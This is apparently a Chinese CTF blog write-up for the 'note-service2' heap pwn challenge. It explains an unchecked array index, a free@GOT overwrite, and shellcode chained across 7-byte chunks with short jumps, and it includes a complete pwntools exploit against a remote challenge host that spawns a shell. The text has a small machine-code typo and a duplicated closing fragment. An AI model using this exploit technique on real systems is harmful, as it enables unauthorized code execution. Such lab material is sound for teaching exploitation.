[攻防世界]noteservice2

[pwn-堆]note-service2

一、查看保护机制和运行过程

image-20221231140113647

分析: 64位程序,通过寄存器传参,字长为8字节。 部分 RELRO:可以劫持got表。开启canary保护和地址随机化保护。

image-20221231140153854

一道菜单题,输入测试,好像没什么反应

二、拖入ida分析

主要代码段

注意:下图为修改变量名并添加注释后的伪代码!!

image-20230115124233592

image-20230115124316504

小tips:根据程序的运行行为,修改变量名,添加注释,利于后续分析。

add_note

image-20230115124335966

分析: 首先将目前note里存入的数量拿出来比较一下,当current_size在0到11之间就还能存储,之后输入index,size,这里会判断一下你要插入的笔记大小是否大于8,只有大小小于等于8时才能插入,这里会在堆上申请一块size大小的chunk,并返回指向chunk数据区域的指针,申请成功的指针存入note数组;如果申请成功,则插入内容。

del_note

image-20221231183546333

分析:free堆块,用到free函数

sub_AC3

image-20221231185014775

这里有一个往申请的chunk里填入数据的函数,可见最后一个字节(倒数第一个)要填为0,因此每次申请x个字节,只有x-1个字节可以使用,第x字节置为0.

漏洞点

分析了一圈,发现并没有对index进行检查。我们可以看出,是一个数组越界的漏洞,而且可以堆栈执行shell。所以大致思路为申请一些堆块并写入shellcode,然后将某一个函数的got表修指向堆块shell,调用该函数运行shellcode,进而获得shell

但是现实很骨感,我们面临好多困难,shellcode要怎么写? 一个堆块中只能写入7字节的数据,但shellcode远不止7字节,怎么处理?下面我们一一处理问题

前提知识:

image-20230115125117831

一个堆块中只能放7字节,而shellcode不止7字节怎么办?

可以每个堆块存放一些,利用jmp指令实现短跳,连接起各个堆块。 shellcode的选择尽量越短越好

jmp short offset 对应的机器码为\xeb\x**

image-20230115132054906

offset = 8 + 8 + 8 + 1 = 0x19**(从该命令结束的地方到下一个代码的起始位置)**

即跳转指令为jmp short 0x19,对应的机器码为: \xeb\e19

mov rdi, xxx   //xxx=&("/bin/sh")
xor rsi,rsi   //rsi=0,实际可以是mov rsi, 0 但是mov这个命令太长了。下同。
mov rax, 0x3b //rax=0x3b,0x3b为64位下execve对应的系统调用号
xor rdx,rdx   //rdx=0,使用xor可以尽可能的缩短转换为机器码的字节数
syscall
#就是syscall调用execve("/bin/sh",0,0)
rdi的值怎么设置?

申请一个堆块A,然后在A堆块里写入"/bin/sh",然后修改free的got,再调用free函数释放A堆块的时候,第一个参数为A堆块地址。即"/bin/sh"的地址。所以需要劫持free的got表,修改为堆块A的地址。

利用数组越界修改got表处的内容,先根据以下高亮处计算偏移:

image-20221231202723469

image-20221231202744012

(2020A0 - 202018) / 8 = 0x11,即第一个堆块的-17处为free的got表的内容 8是因为64位,8字节表示一个指针

三、构造exp

注意:每个堆块中都需要补齐8字节,程序会默认在最后补0,故shellcode片段+nop指令+jmpshort指令为7字节

#前期可以根据以下代码确定要填充的nop指令长度
from pwn import *
context.update(arch = 'amd64')
print(len(asm("xor rsi,rsi")))
print(len(asm("mov eax, 0x3b")))
print(len(asm("xor rdx, rdx")))
print(len(asm("syscall")))

运行结果:

image-20230101162228621

#coding=utf-8
from pwn import *
context.log_level='debug'
context.update(arch='amd64')
#io=process("./noteservice")
io=remote('223.112.5.156',65298)

def add(index,content):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("size:")
    io.sendline("8")  #全部申请为最大堆块8字节
    io.recvuntil("content:")
    io.sendline(content)
def dele(index):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline(str(index))

 #注意:此处asm返回的为bytes,为使得类型统一,后面的字符串要加b前缀
add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+b"\x90\x90\xeb\x19") #补齐8字节吗
add(1,asm("mov eax, 0x3b")+b"\xeb\x19")
add(2,asm("xor rdx, rdx")+b"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,b"\x90")) #左对齐,右侧补/x90
dele(0)#程序流开始的地方,为got表中的free函数
 
io.interactive()

题目写完,来一个小小的总结,把这道题的亮点和避坑点简单提一下(针对小白,大佬除外~~):

  1. 为保证shellcode短小精悍,原本的mov rsi, 0 写为xor rsi,rsi;
  2. jmp short 0x19的跳转位置需要调试一下才能知道为:从该代码的结束位置到下一代码的起始位置为偏移~
  3. 在python3中,字符串前面最好加b来统一类型。
  4. 面对重复操作,例如add,封装函数是一个不错的选择~
  5. 静态分析程序时改变量名也是个很好的选择哦~

怎么编写shellcode?

一般采用pwntools里的asm(shellcraft.sh()),一些简单的shellcode(比如本题中),自己可以手动编写,目的为调用execve(‘\bin\sh’)

最后祝愿每一位热爱ctf,热爱pwn的选手都能更上一层楼,在各大比赛中能展露自己的锋芒~
ellcode?**

一般采用pwntools里的asm(shellcraft.sh()),一些简单的shellcode(比如本题中),自己可以手动编写,目的为调用execve(‘\bin\sh’)

最后祝愿每一位热爱ctf,热爱pwn的选手都能更上一层楼,在各大比赛中能展露自己的锋芒~

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值